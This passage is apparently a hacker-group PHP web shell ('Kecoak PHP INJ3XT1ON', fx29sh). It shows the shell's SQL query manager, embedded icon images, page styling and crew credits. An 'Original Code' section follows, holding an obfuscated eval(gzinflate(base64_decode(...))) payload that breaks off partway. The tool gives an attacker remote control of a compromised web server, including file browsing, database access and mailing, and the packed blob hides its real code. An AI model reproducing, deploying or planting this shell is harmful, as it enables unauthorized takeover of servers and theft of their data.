name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";if($tbl_struct){echo "<td valign=\"top\"><b>Fields:</b><br>";foreach($tbl_struct as $field){$name=$field["Field"];echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}echo "</td></tr></table>";}}if($sql_query_result or (!$sql_confirm)){$sql_query=$sql_last_query;}}function mysql_create_db($db,$sock=""){$sql="CREATE DATABASE `".addslashes($db)."`;";if($sock){return mysql_query($sql,$sock);}else {return mysql_query($sql);}}function mysql_query_parse($query){$query=trim($query);$arr=explode(" ",$query);$types=array("SELECT"=>array(3 ,1 ),"SHOW"=>array(2 ,1 ),"DELETE"=>array(1 ),"DROP"=>array(1 ));$result=array();$op=strtoupper($arr[0 ]);if(is_array($types[$op])){$result["propertions"]=$types[$op];$result["query"]=$query;if($types[$op]==2 ){foreach($arr as $k=>$v){if(strtoupper($v)=="LIMIT"){$result["limit"]=$arr[$k+1 ];$result["limit"]=explode(",",$result["limit"]);if(count($result["limit"])==1 ){$result["limit"]=array(0 ,$result["limit"][0 ]);}unset($arr[$k],$arr[$k+1 ]);}}}}else {return FALSE;}}function imagez(){$images=array("home"=>'R0lGODlhEwAYALMJAH6+91OZ97zp/l6x/Y/V/iVr7DGQ/QwxyAEKpP///wAAAAAAAAAAAAAAAAAA'.'AAAAACH5BAHoAwkALAAAAAATABgAAASoMEkJwrwYAyEqyFkQcFwFTuJAkF1xDkExAARdAy4W4EUw'.'zwAALEfhFQy+5AAWmwwLUIN0OhPlBjLocSpdDgzYBLYnjXa/U1fMQD6auWzxMQBmn0XpBJ6OB6fs'.'cXwiPl5LBwgIdGqDhV4FiImBKV5CQQGQPjlgS0GVMJBfRD5BBDU1l4g+BxcGNqYEAQeHBasYBqW4'.'sLK1IAUcK7onFwWlOMIZB0THyxgRADs=',"buffer"=>'R0lGODlhGAAWALMJABo+qGql77zK4OPw+pXE9Tx33mOCxx5WzYyv4v///wAAAAAAAAAAAAAAAAAA'.'AAAAACH5BAHoAwkALAAAAAAYABYAAASbMMlJa0LFao0QMZslDMJFEEGhhtPgul4gFwebvK9BICnN'.'4oPOACU7HAAb3Gl4mtGQltfSdSI+AdAWVVlNGbHZmxTYVB3BUOCI2vR+AQaQZL1lz74GhEAgn48I'.'bCg0BwV7ewh9AgSGgEM9ASOGe32NiwFMAY0ukgZhU1WaOHxhE0tTQCR9GksIqHyqG4qnQbAsAkK0'.'NhsFiLq+NhEAOw==',"search"=>'R0lGODlhGAAXAKIEAHl5ecbGxqCgoOvr6////wAAAAAAAAAAACH5BAHoAwQALAAAAAAYABcAAANq'.'SLq88iK02UIM1kY67fgDhj3c4oGiKJRK9mUpycFpHQClHbw8zl2iEOjlo9SEw1DRuNsliaygMwlY'.'di7PgcDKUD2moW1utAVAHtUS9maGmLkOTBiudrJZk3Uaz4gQ6XUYe3wNb4CEiImKCQA7',"back"=>'R0lGODlhGAAYALMJAC9ILkesPbHdo3W0Zi2IJ+f141aOUTRoM4LKdP///wAAAAAAAAAAAAAAAAAA'.'AAAAACH5BAHoAwkALAAAAAAYABgAAASwMMlJq7046zSM/8YmeYNgFiZiHMdmCEVszoIaXscLpwhC'.'dy2LASETlAoBXw8xCFYMqNQuWesBK4OjkVgYLL8B52h2LCCS2WxgECAAJiteLNarMtduOEE678/P'.'bW8jBzVefigybIEUQz0BMF0EAZOTkm6CEgCNbFOUngR5FAdLazCAlKChomt3ASiolpiMB5OKbJZt'.'oLIVtJ6VuaoXAAepxbq7GcTFAMgbzM/NItLTGxEAOw==',"forward"=>'R0lGODlhGAAYAKIGAB9fHVu2T7nirIbKdjaXL+z36P///wAAACH5BAHoAwYALAAAAAAYABgAAAOc'.'aLrc/g1ICSsZIosRSGWXUGjaQAAfIY7Z4GIc+qgFy734+Qxsy2+BV8dBGPVeI04wEJAtfiSgSMCs'.'Og2AEu5Wo1Z1iuwGsymvChxCxynG1N7wWocAxmaCGVZcQKezYVVfPCNzJ1cBYzdMF4R9dWEwQkFy'.'hY8KF5KIaI6WYUGKS5ydYReBapxXDgBqpn0UH2Grjq+wDBMTtbm6uwsJADs=',"up"=>'R0lGODlhGAAXAKIGABxXG0irPrLeo3zFbzWFMOLz3v///wAAACH5BAHoAwYALAAAAAAYABcAAAOP'.'aLrc/jBKMoa4lRCp6C1XOASbNBQgVq1D6XipsAYs+RCoAFZ5QNMEQIOSq+hQO59PyAjoMEckauQL'.'MnBQaS5JYnZ2Tx6INu5ed5bRqUClmhcEEU3srlrhIZlsXSe8OxZ6K1NKJAFecIEshFV/CwBONRiN'.'dy9zFYVKGohDlz92AJw3mSRBohGhqaEcrK2uDgkAOw==',"help"=>'R0lGODlhGAAYAKIGADlqzKjA6O3x932d3rPk/12Byv///wAAACH5BAHoAwYALAAAAAAYABgAAAOa'.'aLor7ixK8+qb0eqLN/mENVlfYJpDUEkPMaSh474xwbTvsA3AEN8CV6GgEhR6Dh5SEFA8BkeASgmQ'.'Aa4/igMQvXoLjoBXJ3AGu95rMQ0ua8Vpb5HKhWgJ8SsZfbVb8ypwaWRmRoACdHp2Wol5aTINW3Ep'.'fHtAgn1MbByRmnKIXw8FLE9fV0ScEkVhKSYrGAqrG02wEa6stbm6CQA7',"change"=>'R0lGODlhEAAQALMMADMuME2f58e2ON7OMsXZ88wpTd/t/FhYU4x9erCwrIWSpW54iwAAAAAAAAAA'.'AAAAACH5BAHoAwwALAAAAAAQABAAAARckMlJ6wQn6wMsW0QoBktXLUaaEkHAIYiJqiuhFAUg0yqR'.'IAKdZMYzIAacCbGXEAyEQ0IvlEAeKCCDVJpompRbkUJzEokBi0XZTFgoCFfKwa1Q0NNxCmazz3v+'.'DBEAOw==',"delete"=>'R0lGODlhEAAQAKIGAJIMJNMHLckjQURDQ2oqNigoKAAAAAAAACH5BAHoAwYALAAAAAAQABAAAANP'.'KDHW/k4JBiuRFI5pilBE8RQX12yBIHYfMGTeNxQoMVfbJ7gZ5AWpV8VBU6SGkVSpR7zwdISKURgz'.'dS4B2yMXMgyAWo2OBGQ6cq+NmbhJAAA7',"download"=>"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu"."EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=","setup"=>"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC"."QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA"."ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB"."qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE"."OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==","small_dir"=>'R0lGODlhDwAQALMPAAkJCXV3iEFvz5it4MXV8lFkqXaU2au+6EtMViQkJYGGq2JjcUFhunN3ljc3'.'OQAAACH5BAHoAw8ALAAAAAAPABAAAARuEKDVVEsv64wO+UfjOBO1AM2nHsbQGkaDDCo43EdOVPW9'.'ErmFgjDI6YyHm7AINN5cMESgSH3CBAKGo9GCwgxYrHbx/YbDYwEYfEY7Fu149s2QZxkFRQJRR+Mb'.'AQsOAA98DH8NggCEGgmAiowbGREAOw==',"small_unk"=>'R0lGODlhEAAQAKIHABpFnoap3bTL89vq/FuCvVZlhH6Ms////yH5BAHoAwcALAAAAAAQABAAAANL'.'eBfcrVCFQetgJS5bA/nRxFlGJlUFoBICZUDi6gGsYG5DWqntLZI8G4xDCApPHeMR5wL8lgbSE9rq'.'OavUqurngTm+ntuhQC6byYcEADs=',"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR"."pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==","sort_asc"=>"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa"."SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==","sort_desc"=>"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb"."SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=","ext_asp"=>"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/"."/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI"."D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=","ext_mp3"=>'R0lGODlhEAARALMPADE8XE6ekMSuNMDW7M1IRGRoZOXs9Ki31Y2HW3PEiFl2u19RX4ajzNmCeuew'.'pwAAACH5BAHoAw8ALAAAAAAQABEAAASI8D1Gqy0yM8O7GRSmeR2oKOJEcgN4oJJyNExSD197iAjS'.'OI2EkIFrYQqN3+cgRBA/iwLhh+MwE4HDYLeYGg4MLTNQCBi7joECcKKQC9tCV7tmhwoALV5BPMnA'.'PXk7BSc5LA4CCAUHXCcHHogChIwYbG2RkgVhOxKWCggCkgCafCkAp6inBaurEQA7',"ext_avi"=>'R0lGODlhEAAQALMMAAUFBY2OkM7T2UpKSqWoq+zz/GhoaSQkJLW4u1paWnp6ejY3NwAAAAAAAAAA'.'AAAAACH5BAHoAwwALAAAAAAQABAAAARdkMkpgVGH6poIwttkeQUBbqNQrGZGjYG6lobLWAoixHOw'.'GByDbpUrAQ6K2+AoW/0OyOMy4GtioozBgsAaqBDa08AwoxHCgMmPRzSM05R17x2SBxKn+uUCD0nW'.'fRoRADs=',"ext_cgi"=>'R0lGODlhEAAQAKIHAEhJS+q8D/7dNfnulpR/U5pqCtS5eP///yH5BAHoAwcALAAAAAAQABAAAANT'.'eLpX/K9ISItwlElBcG5BMEFSGYolVgzsYAih0Q5FF7IwjAcdcRCE021wKQB8CqCQRQAcH4SXYOck'.'EQUy2DMSMmaBEWITSBAjFZLxAliDghlkRQIAOw==',"ext_cmd"=>"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI"."eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN"."dmrYAMn1onq/YKpjvEgAADs=","ext_cpp"=>"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC"."WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra"."Eq7YrLDE7a4SADs=","ext_ini"=>"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL"."aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM"."SnEjgPVarHEHgrB43JvszsQEADs=","ext_diz"=>'R0lGODlhEAAQAKIHAAsZcWyPv7vT6eb0/ThOi1tukZyyy////yH5BAHoAwcALAAAAAAQABAAAANS'.'eHrTLiu6IYh5chZAJlRTI4RDcIyacXkF6gAcWaxPLFJzaNhoZYyoXQcoCMwErgCHuFP8kEVjAGkg'.'FBaqJ9CgvEYOBQK06/0qjlazuSBVr8uLBAA7',"ext_doc"=>"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR"."WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq"."MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=","ext_exe"=>"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7"."WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt"."xhIAOw==","ext_h"=>"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB"."WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo"."Wq/NknbbSgAAOw==","ext_hpp"=>"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF"."WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR"."UqUagnbLdZa+YFcCADs=","ext_htaccess"=>"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6"."WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ"."AAA7","ext_html"=>'R0lGODlhEAAQALMOAIyt016Itv///2Gp4uXy/c3P/MXl/mtrnC6Z4mfd/Chgk7PO9lBVhnNzc///'.'/wAAACH5BAHoAw4ALAAAAAAQABAAAASF0EkHqq1h6nuzloAgjkIwfJRIFJVxFMgHDGYQCMihe46d'.'/IiBIEEQFA4SkwHBZAaKK2RPAFAACM0nwTUFMAeD5mFBWCCpTIV6rSCbKQkFQpEw2A1lw4LRa84X'.'cn96fAg4gQgJAwwAensOAyFzCgyTAAsFgxKQAywVBZcGn3wTDKWlDaamEQA7',"ext_jpg"=>'R0lGODlhDgAQALMMACYlIC6NFLOxKnqIcbPIikWoIkVFRWllROLZUmO8NqKmoBBxCAAAAAAAAAAA'.'AAAAACH5BAHoAwwALAAAAAAOABAAAARbMKxJ6zw2iGQHFSACCpQ3CWJISmaBCsABcouJiECOIkVg'.'7gadiBXoAXc9X/LGRBASvUEPmiA4qUXpFPpMZrHQojchJZjDVOpgoGib3+82W8Gu0+nrGD2Y4wcN'.'EQA7',"ext_js"=>'R0lGODlhDwAQAKIEAB4eHZ6eaOLih2BgWQAAAAAAAAAAAAAAACH5BAHoAwQALAAAAAAPABAAAANP'.'SAoR8nAARcZ4rQkr68VCI1nTB4Vj0H1iALzwpIUY3FXOKb4UwYSqDODmY+ROREtmkEFNhqKRyfV7'.'SFzHEQR62qSAnBxJoVSlxhRJLEZJAAA7',"ext_lnk"=>'R0lGODlhEAAQAKIHAAAFACOPE2TNNj60IQRKAojuVgdlBAAAACH5BAHoAwcALAAAAAAQABAAAANO'.'eGfcbkCpQOu4AkZlLM5AKHlCqW3TVw4hmqqlKB3UKhQF6AZ2ibM7Ew+Xk6UIoQAROAsgQ4RbIWBc'.'tBbSq0RruD1dB1S3BZ5ZteYZ2ZwAADs=',"ext_log"=>"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN"."zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==","ext_php"=>'R0lGODlhEAAQAIABAP///////yH5BAHoAwEALAAAAAAQABAAAAIohI8Jwe0Po5wNsRWWxbl3blSe'.'VmHmMWZouj2md7kxB8cfhec6pPRHAQA7',"ext_pl"=>"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo"."GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7","ext_swf"=>"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O"."nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA"."ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA"."GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC"."NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=","ext_tar"=>'R0lGODlhEAAQAKIFABokHymwoKiYkKIYbdzo4wAAAAAAAAAAACH5BAHoAwUALAAAAAAQABAAAAM4'.'CLrcJVCMSesAJJOhY7waAUgWhWljo67rE7FMGGhzYNtnNt48HsJAlgsSzIlovYAxlfShBMVoIQEA'.'Ow==',"ext_txt"=>'R0lGODlhCwAQAKIFACoqKqCeoO/z83d2brO2vwAAAAAAAAAAACH5BAHoAwUALAAAAAALABAAAAM5'.'CLM8MSBIJwNZJAhNRBdDR3xCCYqkGXppuZrwuVWj21mVJo+jZG812Cv288VWD+KQtQA4m4CCdJoA'.'ADs=',"ext_wri"=>"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao"."a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=","ext_xml"=>"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA"."gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"."AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx"."OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ"."IQA7");return $images;}function sh_name(){return base64_decode("LS09PVtLZWNvYWsgUEhQIElOSjNYVDFPTl09PS0t");}function fx29sh_tools(){bar_header(".: TooLz :.");}function fx29sh_about(){bar_header(".: Credits :.");echo "Idea, leader & coder: <b>tristram [CCTeaM]</b><br>"."Beta-tester & tips: <b>NukLeoN [AnTiSh@Re tEaM]</b><br>"."Re-coder, Designer, Windows Fix, PHP Mailer & PHP Filesystem: <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br>"."<br>"."Please report bugs to <a href=\"mailto:[email protected]\">FaTaLisTiCz_Fx</a></b>
";}function html_style(){$style='<html>
<head>
	<style>
		table {width: 100%;border-collapse: collapse;}
		#main, #maininfo {width: 900px;}
		body, table, input, select, option, .info
		{
			font: 8pt tahoma;
		}
		.footer {font: 7pt tahoma;}
		textarea, .code
		{
			font: 8pt Courier New;
			color: #dedbde;
			border: 1px solid #666666;
		}
		img {border: 0;}
		#maininfo img {width: 16;height: 16;}
		input, select, option {border: 1px solid #606060;}
		#maininfo, td, th {border: 1px solid #3F3F3F;}
		a {color: #5B5BFF;text-decoration: none;}
		#pagebar a, .barheader a {color: #00FF00;}
		a:hover, #pagebar a:hover {color: #3366FF;}
		.on {color: #00FF00;}
		.off, .errmsg {color: #FF0000;}
		body, table, input, select, option {color : #EEEEEE;}
		.info th {color: #969696;width: 13%;}
		.shell {font-size: 12;color: #C0C0C0;border: 0;}
		#pagebar a, .barheader, .errmsg, .on, .off
		{
			font-weight: bold;
		}
		p, form, .info, .info td, .info th, .explorer *
		{
			margin: 0;
		}
		input, #maininfo {margin: 3px;}
		#mainpanel input, #mainpanel select
		{
		  margin: 0px 2px 0px 2px;
		}
		#maininfo table, select {margin: 2px 0px 2px 0px;}
		#pagebar, .bartitle, #mainpanel {background: #474747;}
		body, textarea, .shell, input, select, option
		{
			background: #000000;
		}
		.info, .info th, .info td, input[type="label"]
		{
			background: transparent;
			border: 0;
		}
		#pagebar td, #mainpanel td, #mainpanel th, .contents th, .explorer td
		{
			border-left: 0;
			border-right: 0;
		}
		.bartitle, .barheader, input[type="submit"], input[type="button"], input[type="reset"]
		{
			color: #D0D0D0;
			background: #3F3F3F;
			border: 1px solid #202020;
			border-top: 1px solid #505050;
			border-left: 1px solid #505050;
		}
		input[type="submit"]:hover, input[type="button"]:hover, input[type="reset"]:hover
		{
			color: #00FF00;
			background: #333333;
		}
		td, .info th {vertical-align: top;}
		.explorer td {vertical-align: middle;}
		.fleft {float: left;}
		.fright {float: right;}
		.code, .fleft, .info th {text-align: left;}
		.fright, input[type="label"], #mainpanel th, .contents th
		{
			text-align: right;
		}
		#maininfo, .bartitle, .quicklaunch, .quicklaunch a, .barheader, th
		{
			text-align: center;
		}
		td, textarea, input[type="text"], .bartitle, .barheader, .code, th
		{
			padding: 3px;
		}
		.info th, .info td {padding: 0px 2px 0px 2px;}
		.quicklaunch a {padding : 0px 5px 0px 5px;}
	</style>

	<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>

</head>

<body><center>

';return $style;};function html_header(){return "<b>".sh_name()."</b><br>.: Hacker-newbie.org | kecoak-irc.net :.";}function html_footer(){return "&copy; Hacker-Newbie Community | KecoaK | [email protected]. Generated: ".round(getmicrotime()-starttime,4 )." seconds";}function disp_error($msg){echo "<div class=errmsg>$msg</div>
";}function srv_info($title,$contents){echo "			<tr><th>$title</th><td>:</td><td>$contents</td></tr>
";}function srv_software($surl){$srv_software=getenv("SERVER_SOFTWARE");if(!ereg("PHP/".phpversion(),$srv_software)){$srv_software.=". PHP/".phpversion();}return str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\">PHP/".phpversion()."</a>",htmlspecialchars($srv_software));}function bar_header($str){echo '<div class="barheader">'.$str.'</div'."
";}chdir($lastdir);fx29shexit();exit();

Did this file decode correctly?

Original Code

<?php
eval(gzinflate(base64_decode("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